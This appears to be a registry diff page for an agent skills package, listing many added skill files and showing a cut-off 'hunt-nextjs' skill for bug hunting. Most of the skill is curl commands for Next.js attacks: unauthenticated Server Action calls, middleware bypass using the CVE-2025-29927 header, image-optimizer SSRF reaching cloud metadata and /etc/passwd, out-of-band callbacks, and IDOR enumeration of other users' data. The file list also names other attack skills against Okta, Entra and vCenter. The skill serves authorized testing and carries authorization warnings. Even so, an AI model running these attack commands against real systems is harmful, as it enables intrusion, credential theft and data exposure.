opencode-skills-collection 4.0.67 → 4.0.69

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (329) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +281 -1
  2. package/bundled-skills/access-review/SKILL.md +394 -0
  3. package/bundled-skills/access-review/references/details.md +121 -0
  4. package/bundled-skills/agent-evals/SKILL.md +420 -0
  5. package/bundled-skills/agent-observability/SKILL.md +346 -0
  6. package/bundled-skills/agent-observability/references/details.md +786 -0
  7. package/bundled-skills/ai-agent-security/SKILL.md +393 -0
  8. package/bundled-skills/ai-agent-security/references/details.md +912 -0
  9. package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
  10. package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
  11. package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
  12. package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
  13. package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
  14. package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
  15. package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
  16. package/bundled-skills/alerting-oncall/SKILL.md +458 -0
  17. package/bundled-skills/alerting-oncall/references/details.md +84 -0
  18. package/bundled-skills/anti-slop-design/SKILL.md +393 -0
  19. package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +1 -0
  20. package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
  21. package/bundled-skills/argocd-gitops/SKILL.md +469 -0
  22. package/bundled-skills/arm-templates/SKILL.md +438 -0
  23. package/bundled-skills/arm-templates/references/details.md +64 -0
  24. package/bundled-skills/artifact-yylo/SKILL.md +122 -0
  25. package/bundled-skills/asset-inventory/SKILL.md +412 -0
  26. package/bundled-skills/asset-inventory/references/details.md +127 -0
  27. package/bundled-skills/audit-logging/SKILL.md +476 -0
  28. package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
  29. package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
  30. package/bundled-skills/aws-ec2/SKILL.md +426 -0
  31. package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
  32. package/bundled-skills/aws-iam/SKILL.md +463 -0
  33. package/bundled-skills/aws-lambda/SKILL.md +428 -0
  34. package/bundled-skills/aws-rds/SKILL.md +380 -0
  35. package/bundled-skills/aws-s3/SKILL.md +434 -0
  36. package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
  37. package/bundled-skills/aws-vpc/SKILL.md +436 -0
  38. package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
  39. package/bundled-skills/azure-aks/SKILL.md +423 -0
  40. package/bundled-skills/azure-devops/SKILL.md +457 -0
  41. package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
  42. package/bundled-skills/azure-keyvault/SKILL.md +455 -0
  43. package/bundled-skills/azure-keyvault/references/details.md +83 -0
  44. package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
  45. package/bundled-skills/azure-networking/SKILL.md +448 -0
  46. package/bundled-skills/azure-networking/references/details.md +135 -0
  47. package/bundled-skills/azure-sql/SKILL.md +413 -0
  48. package/bundled-skills/azure-sql/references/details.md +113 -0
  49. package/bundled-skills/azure-vms/SKILL.md +402 -0
  50. package/bundled-skills/azure-vms/references/details.md +134 -0
  51. package/bundled-skills/backup-recovery/SKILL.md +388 -0
  52. package/bundled-skills/bb-methodology/SKILL.md +451 -0
  53. package/bundled-skills/bb-methodology/references/details.md +120 -0
  54. package/bundled-skills/block-storage/SKILL.md +371 -0
  55. package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
  56. package/bundled-skills/blue-green-deploy/references/details.md +90 -0
  57. package/bundled-skills/bug-bounty/SKILL.md +447 -0
  58. package/bundled-skills/bug-bounty/references/details.md +1316 -0
  59. package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
  60. package/bundled-skills/business-continuity/SKILL.md +463 -0
  61. package/bundled-skills/career-ops/SKILL.md +186 -0
  62. package/bundled-skills/cdn-setup/SKILL.md +374 -0
  63. package/bundled-skills/change-management/SKILL.md +438 -0
  64. package/bundled-skills/change-management/references/details.md +105 -0
  65. package/bundled-skills/circleci/SKILL.md +475 -0
  66. package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
  67. package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
  68. package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
  69. package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
  70. package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
  71. package/bundled-skills/cloudformation/SKILL.md +461 -0
  72. package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
  73. package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
  74. package/bundled-skills/container-hardening/SKILL.md +126 -0
  75. package/bundled-skills/container-registries/SKILL.md +435 -0
  76. package/bundled-skills/container-scanning/SKILL.md +416 -0
  77. package/bundled-skills/convex-backend/SKILL.md +338 -0
  78. package/bundled-skills/dast-scanning/SKILL.md +437 -0
  79. package/bundled-skills/database-backups/SKILL.md +425 -0
  80. package/bundled-skills/datadog/SKILL.md +487 -0
  81. package/bundled-skills/dependency-scanning/SKILL.md +457 -0
  82. package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
  83. package/bundled-skills/disaster-recovery/SKILL.md +374 -0
  84. package/bundled-skills/disaster-recovery/references/details.md +219 -0
  85. package/bundled-skills/dns-management/SKILL.md +375 -0
  86. package/bundled-skills/docker-compose/SKILL.md +482 -0
  87. package/bundled-skills/docker-management/SKILL.md +426 -0
  88. package/bundled-skills/ebpf-observability/SKILL.md +436 -0
  89. package/bundled-skills/ebpf-observability/references/details.md +542 -0
  90. package/bundled-skills/elk-stack/SKILL.md +487 -0
  91. package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
  92. package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
  93. package/bundled-skills/feature-flags/SKILL.md +426 -0
  94. package/bundled-skills/feature-flags/references/details.md +86 -0
  95. package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
  96. package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
  97. package/bundled-skills/firewall-config/SKILL.md +479 -0
  98. package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
  99. package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
  100. package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
  101. package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
  102. package/bundled-skills/gcp-compute/SKILL.md +319 -0
  103. package/bundled-skills/gcp-gke/SKILL.md +307 -0
  104. package/bundled-skills/gcp-networking/SKILL.md +293 -0
  105. package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
  106. package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
  107. package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
  108. package/bundled-skills/gdpr-compliance/references/details.md +145 -0
  109. package/bundled-skills/geo-audit/SKILL.md +368 -0
  110. package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
  111. package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
  112. package/bundled-skills/geo-citability/SKILL.md +350 -0
  113. package/bundled-skills/geo-compare/SKILL.md +340 -0
  114. package/bundled-skills/geo-content/SKILL.md +383 -0
  115. package/bundled-skills/geo-crawlers/SKILL.md +408 -0
  116. package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
  117. package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
  118. package/bundled-skills/geo-proposal/SKILL.md +378 -0
  119. package/bundled-skills/geo-prospect/SKILL.md +225 -0
  120. package/bundled-skills/geo-report/SKILL.md +436 -0
  121. package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
  122. package/bundled-skills/geo-schema/SKILL.md +408 -0
  123. package/bundled-skills/geo-technical/SKILL.md +78 -0
  124. package/bundled-skills/geo-technical/references/details.md +543 -0
  125. package/bundled-skills/git-workflow/SKILL.md +460 -0
  126. package/bundled-skills/github-actions/SKILL.md +368 -0
  127. package/bundled-skills/gitlab-ci/SKILL.md +340 -0
  128. package/bundled-skills/google-no-code/SKILL.md +136 -0
  129. package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
  130. package/bundled-skills/gpu-server-management/SKILL.md +236 -0
  131. package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
  132. package/bundled-skills/helm-charts/SKILL.md +469 -0
  133. package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
  134. package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
  135. package/bundled-skills/hunt-ato/SKILL.md +184 -0
  136. package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
  137. package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
  138. package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
  139. package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
  140. package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
  141. package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
  142. package/bundled-skills/hunt-cicd/SKILL.md +311 -0
  143. package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
  144. package/bundled-skills/hunt-cors/SKILL.md +335 -0
  145. package/bundled-skills/hunt-dom/SKILL.md +323 -0
  146. package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
  147. package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
  148. package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
  149. package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
  150. package/bundled-skills/hunt-grpc/SKILL.md +317 -0
  151. package/bundled-skills/hunt-host-header/SKILL.md +309 -0
  152. package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
  153. package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
  154. package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
  155. package/bundled-skills/hunt-idor/SKILL.md +434 -0
  156. package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
  157. package/bundled-skills/hunt-k8s/SKILL.md +337 -0
  158. package/bundled-skills/hunt-laravel/SKILL.md +255 -0
  159. package/bundled-skills/hunt-ldap/SKILL.md +351 -0
  160. package/bundled-skills/hunt-lfi/SKILL.md +311 -0
  161. package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
  162. package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
  163. package/bundled-skills/hunt-misc/SKILL.md +378 -0
  164. package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
  165. package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
  166. package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
  167. package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
  168. package/bundled-skills/hunt-oauth/SKILL.md +459 -0
  169. package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
  170. package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
  171. package/bundled-skills/hunt-race-condition/references/details.md +159 -0
  172. package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
  173. package/bundled-skills/hunt-rce/SKILL.md +444 -0
  174. package/bundled-skills/hunt-rce/references/details.md +110 -0
  175. package/bundled-skills/hunt-saml/SKILL.md +156 -0
  176. package/bundled-skills/hunt-session/SKILL.md +342 -0
  177. package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
  178. package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
  179. package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
  180. package/bundled-skills/hunt-springboot/SKILL.md +285 -0
  181. package/bundled-skills/hunt-sqli/SKILL.md +466 -0
  182. package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
  183. package/bundled-skills/hunt-ssrf/references/details.md +179 -0
  184. package/bundled-skills/hunt-ssti/SKILL.md +163 -0
  185. package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
  186. package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
  187. package/bundled-skills/hunt-xxe/SKILL.md +466 -0
  188. package/bundled-skills/i-have-adhd/SKILL.md +170 -0
  189. package/bundled-skills/idea-evaluator/SKILL.md +75 -0
  190. package/bundled-skills/idea-evaluator/idea-evaluator-con/SKILL.md +64 -0
  191. package/bundled-skills/idea-evaluator/idea-evaluator-pro/SKILL.md +64 -0
  192. package/bundled-skills/identity-access-management/SKILL.md +382 -0
  193. package/bundled-skills/identity-access-management/references/details.md +524 -0
  194. package/bundled-skills/incident-management/SKILL.md +484 -0
  195. package/bundled-skills/incident-response/SKILL.md +448 -0
  196. package/bundled-skills/incident-response/references/details.md +113 -0
  197. package/bundled-skills/interview-me/SKILL.md +248 -0
  198. package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
  199. package/bundled-skills/jenkins/SKILL.md +462 -0
  200. package/bundled-skills/jev-use/SKILL.md +158 -0
  201. package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
  202. package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
  203. package/bundled-skills/kubernetes-ops/references/details.md +108 -0
  204. package/bundled-skills/kustomize/SKILL.md +478 -0
  205. package/bundled-skills/ledger-tasks-yylo/SKILL.md +219 -0
  206. package/bundled-skills/linux-administration/SKILL.md +367 -0
  207. package/bundled-skills/linux-hardening/SKILL.md +154 -0
  208. package/bundled-skills/llm-app-security/SKILL.md +389 -0
  209. package/bundled-skills/llm-app-security/references/details.md +674 -0
  210. package/bundled-skills/llm-caching/SKILL.md +334 -0
  211. package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
  212. package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
  213. package/bundled-skills/llm-gateway/SKILL.md +282 -0
  214. package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
  215. package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
  216. package/bundled-skills/load-balancing/SKILL.md +403 -0
  217. package/bundled-skills/loki-logging/SKILL.md +479 -0
  218. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  219. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  220. package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
  221. package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
  222. package/bundled-skills/mcp-server-security/SKILL.md +356 -0
  223. package/bundled-skills/mcp-server-security/references/details.md +745 -0
  224. package/bundled-skills/mdm-device-management/SKILL.md +404 -0
  225. package/bundled-skills/mdm-device-management/references/details.md +410 -0
  226. package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
  227. package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
  228. package/bundled-skills/model-registry-governance/SKILL.md +452 -0
  229. package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
  230. package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
  231. package/bundled-skills/mongodb/SKILL.md +436 -0
  232. package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
  233. package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
  234. package/bundled-skills/mysql/SKILL.md +390 -0
  235. package/bundled-skills/new-relic/SKILL.md +472 -0
  236. package/bundled-skills/nfs-storage/SKILL.md +356 -0
  237. package/bundled-skills/object-storage/SKILL.md +378 -0
  238. package/bundled-skills/offensive-osint/SKILL.md +443 -0
  239. package/bundled-skills/okta-attack/SKILL.md +436 -0
  240. package/bundled-skills/ollama-stack/SKILL.md +379 -0
  241. package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
  242. package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
  243. package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
  244. package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
  245. package/bundled-skills/openshift/SKILL.md +485 -0
  246. package/bundled-skills/opentelemetry/SKILL.md +438 -0
  247. package/bundled-skills/opentelemetry/references/details.md +78 -0
  248. package/bundled-skills/opentofu-migration/SKILL.md +349 -0
  249. package/bundled-skills/osint-methodology/SKILL.md +460 -0
  250. package/bundled-skills/osint-methodology/references/details.md +1350 -0
  251. package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
  252. package/bundled-skills/penetration-testing/SKILL.md +152 -0
  253. package/bundled-skills/performance-tuning/SKILL.md +381 -0
  254. package/bundled-skills/plan-ledger-tasks-yylo/SKILL.md +52 -0
  255. package/bundled-skills/planetscale/SKILL.md +297 -0
  256. package/bundled-skills/platform-engineering/SKILL.md +348 -0
  257. package/bundled-skills/platform-engineering/references/details.md +944 -0
  258. package/bundled-skills/podman/SKILL.md +405 -0
  259. package/bundled-skills/policy-as-code/SKILL.md +434 -0
  260. package/bundled-skills/policy-as-code/references/details.md +204 -0
  261. package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
  262. package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
  263. package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
  264. package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
  265. package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
  266. package/bundled-skills/rag-observability-evals/references/details.md +92 -0
  267. package/bundled-skills/ralph-loop-yylo/SKILL.md +55 -0
  268. package/bundled-skills/ralph-loop-yylo/references/first_check.md +18 -0
  269. package/bundled-skills/ralph-loop-yylo/references/implement.md +60 -0
  270. package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
  271. package/bundled-skills/redis/SKILL.md +421 -0
  272. package/bundled-skills/redteam-report-template/SKILL.md +370 -0
  273. package/bundled-skills/report-writing/SKILL.md +426 -0
  274. package/bundled-skills/report-writing/references/details.md +187 -0
  275. package/bundled-skills/resumable-implementation-contracts/SKILL.md +254 -0
  276. package/bundled-skills/reverse-proxy/SKILL.md +420 -0
  277. package/bundled-skills/runbook-creation/SKILL.md +438 -0
  278. package/bundled-skills/runbook-creation/references/details.md +71 -0
  279. package/bundled-skills/saas-security-posture/SKILL.md +415 -0
  280. package/bundled-skills/sast-scanning/SKILL.md +444 -0
  281. package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
  282. package/bundled-skills/security-arsenal/SKILL.md +446 -0
  283. package/bundled-skills/security-arsenal/references/details.md +540 -0
  284. package/bundled-skills/security-automation/SKILL.md +146 -0
  285. package/bundled-skills/semantic-versioning/SKILL.md +434 -0
  286. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  287. package/bundled-skills/service-mesh/SKILL.md +422 -0
  288. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  289. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  290. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  291. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  292. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  293. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  294. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  295. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  296. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  297. package/bundled-skills/systemd-services/SKILL.md +379 -0
  298. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  299. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  300. package/bundled-skills/terraform-azure/references/details.md +231 -0
  301. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  302. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  303. package/bundled-skills/understand-project-yylo/SKILL.md +62 -0
  304. package/bundled-skills/user-management/SKILL.md +383 -0
  305. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  306. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  307. package/bundled-skills/vendor-management/SKILL.md +439 -0
  308. package/bundled-skills/vendor-management/references/details.md +109 -0
  309. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  310. package/bundled-skills/vllm-server/SKILL.md +236 -0
  311. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  312. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  313. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  314. package/bundled-skills/waf-setup/SKILL.md +354 -0
  315. package/bundled-skills/waf-setup/references/details.md +211 -0
  316. package/bundled-skills/weather-model-data-fetching/SKILL.md +277 -0
  317. package/bundled-skills/weather-observation-fetching/SKILL.md +246 -0
  318. package/bundled-skills/web2-recon/SKILL.md +440 -0
  319. package/bundled-skills/web2-recon/references/details.md +319 -0
  320. package/bundled-skills/web3-audit/SKILL.md +445 -0
  321. package/bundled-skills/web3-audit/references/details.md +224 -0
  322. package/bundled-skills/wiki-yylo/SKILL.md +114 -0
  323. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  324. package/bundled-skills/windows-hardening/references/details.md +204 -0
  325. package/bundled-skills/windows-server/SKILL.md +318 -0
  326. package/bundled-skills/workflow-yylo/SKILL.md +107 -0
  327. package/bundled-skills/zero-trust/SKILL.md +461 -0
  328. package/package.json +1 -1
  329. package/skills_index.json +6924 -0
@@ -0,0 +1,299 @@
1
+ ---
2
+ name: hunt-nextjs
3
+ description: Hunt Next.js specific vulnerabilities
4
+ category: security
5
+ risk: offensive
6
+ source: https://github.com/elementalsouls/Claude-BugHunter
7
+ source_repo: elementalsouls/Claude-BugHunter
8
+ source_type: community
9
+ date_added: '2026-09-20'
10
+ license: MIT
11
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
12
+ compatibility: Requires explicit written authorization for a target scope plus the
13
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
14
+ not bundled.
15
+ sources: cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories
16
+ report_count: 0
17
+ ---
18
+ > **⚠️ AUTHORIZED USE ONLY**
19
+ > This skill is for educational purposes or authorized security assessments only.
20
+ > You must have explicit, written permission from the system owner before using this tool.
21
+ > Misuse of this tool is illegal and strictly prohibited.
22
+
23
+ > **Mandatory confirmation gate**
24
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
25
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
26
+ > 2. Ask the user to confirm written authorization and the permitted scope.
27
+ > 3. Show the exact command(s) and explain their expected effect.
28
+ > 4. Wait for explicit confirmation in the current conversation.
29
+ >
30
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
31
+
32
+ # HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
33
+
34
+ ## Crown Jewel Targets
35
+
36
+ Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
37
+
38
+ **Highest-value chains:**
39
+ - **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
40
+ - **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
41
+ - **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
42
+ - **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
43
+ - **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
44
+
45
+ ---
46
+
47
+ ## Attack Surface Signals
48
+
49
+ ```
50
+ /_next/image?url=&w=&q= Image optimizer — SSRF candidate
51
+ /_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
52
+ /__nextjs_original-stack-frame Debug stack frame endpoint
53
+ /_next/static/chunks/ JS bundles — source map candidate
54
+ /api/ API routes — standard hunt surface
55
+ __NEXT_DATA__ in HTML SSR props leaked to client
56
+ x-nextjs-* response headers Confirms Next.js
57
+ ```
58
+
59
+ ---
60
+
61
+ ## Phase 1 — Fingerprint & Version Detection
62
+
63
+ ```bash
64
+ # Confirm Next.js and get build ID
65
+ curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
66
+ curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
67
+
68
+ # Extract build ID for /_next/data/ paths
69
+ BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
70
+ echo "Build ID: $BUILD_ID"
71
+
72
+ # Check Next.js version via package disclosure
73
+ curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
74
+
75
+ # Source map exposure
76
+ curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
77
+ curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
78
+ ```
79
+
80
+ ---
81
+
82
+ ## Phase 2 — Server Actions Abuse
83
+
84
+ ```bash
85
+ # Server Actions in Next.js 14+ use x-action-id or Next-Action header
86
+ # Find action IDs in HTML source or JS bundles
87
+ curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
88
+ grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
89
+
90
+ # Call Server Action directly without auth
91
+ curl -s -X POST https://$TARGET/target-page \
92
+ -H "Next-Action: ACTION_ID_HERE" \
93
+ -H "Content-Type: multipart/form-data; boundary=----" \
94
+ -H "Cookie: " \
95
+ --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
96
+
97
+ # Test: does the action execute without a valid session?
98
+ # If it returns data or mutates state → auth enforcement is client-side only
99
+ ```
100
+
101
+ ---
102
+
103
+ ## Phase 3 — Middleware Auth Bypass
104
+
105
+ ```bash
106
+ # Next.js middleware runs on edge runtime and may skip certain paths
107
+ # Test protected route directly
108
+ curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
109
+ # → 200 means accessible
110
+
111
+ # Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
112
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
113
+
114
+ # Test via static asset path prefix (middleware matcher may exclude /_next/static)
115
+ curl -s "https://$TARGET/_next/static/../admin/dashboard"
116
+
117
+ # Encoded path bypass
118
+ curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
119
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
120
+ ```
121
+
122
+ ---
123
+
124
+ ### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
125
+ Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
126
+ ```bash
127
+ curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
128
+ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
129
+ # also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
130
+ # 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
131
+ ```
132
+
133
+ ## Phase 4 — Image Optimization SSRF (`/_next/image`)
134
+
135
+ ```bash
136
+ # Basic SSRF test — internal metadata
137
+ curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
138
+
139
+ # Protocol bypass attempts
140
+ curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
141
+ curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
142
+
143
+ # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
144
+ COLLAB="http://UNIQUE.COLLAB_HOST"
145
+ curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
146
+ # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
147
+ ```
148
+
149
+ **FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
150
+ fetches URLs allowed by `images.remotePatterns` / `images.domains` in
151
+ `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
152
+ the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
153
+ returns an *optimized image*, not the upstream response body, so a status code
154
+ alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
155
+ Collaborator subdomain** (above), or by body-diffing a known-internal vs
156
+ known-external target. Do not report on status code.
157
+
158
+ > Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
159
+ > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
160
+ > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
161
+ > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
162
+ > Actions surface.
163
+
164
+ ---
165
+
166
+ ## Phase 5 — `/_next/data/` IDOR & Data Leakage
167
+
168
+ ```bash
169
+ # Enumerate prerendered JSON for user-specific data
170
+ # Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
171
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
172
+ -H "Cookie: session=VICTIM_SESSION"
173
+
174
+ # Try other users' data
175
+ for ID in 1 2 3 100 1000; do
176
+ curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
177
+ done
178
+
179
+ # Check __NEXT_DATA__ in HTML for sensitive server-side props
180
+ curl -s "https://$TARGET/dashboard" | \
181
+ python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
182
+ ```
183
+
184
+ ---
185
+
186
+ ## Phase 6 — ISR Cache Poisoning
187
+
188
+ ```bash
189
+ # ISR pages regenerate on request after revalidation period
190
+ # If user input influences the static page content without sanitization:
191
+ # 1. Trigger revalidation with malicious input in URL/query
192
+ # 2. Injected content cached and served to all users
193
+
194
+ # Test: does query param affect cached page content?
195
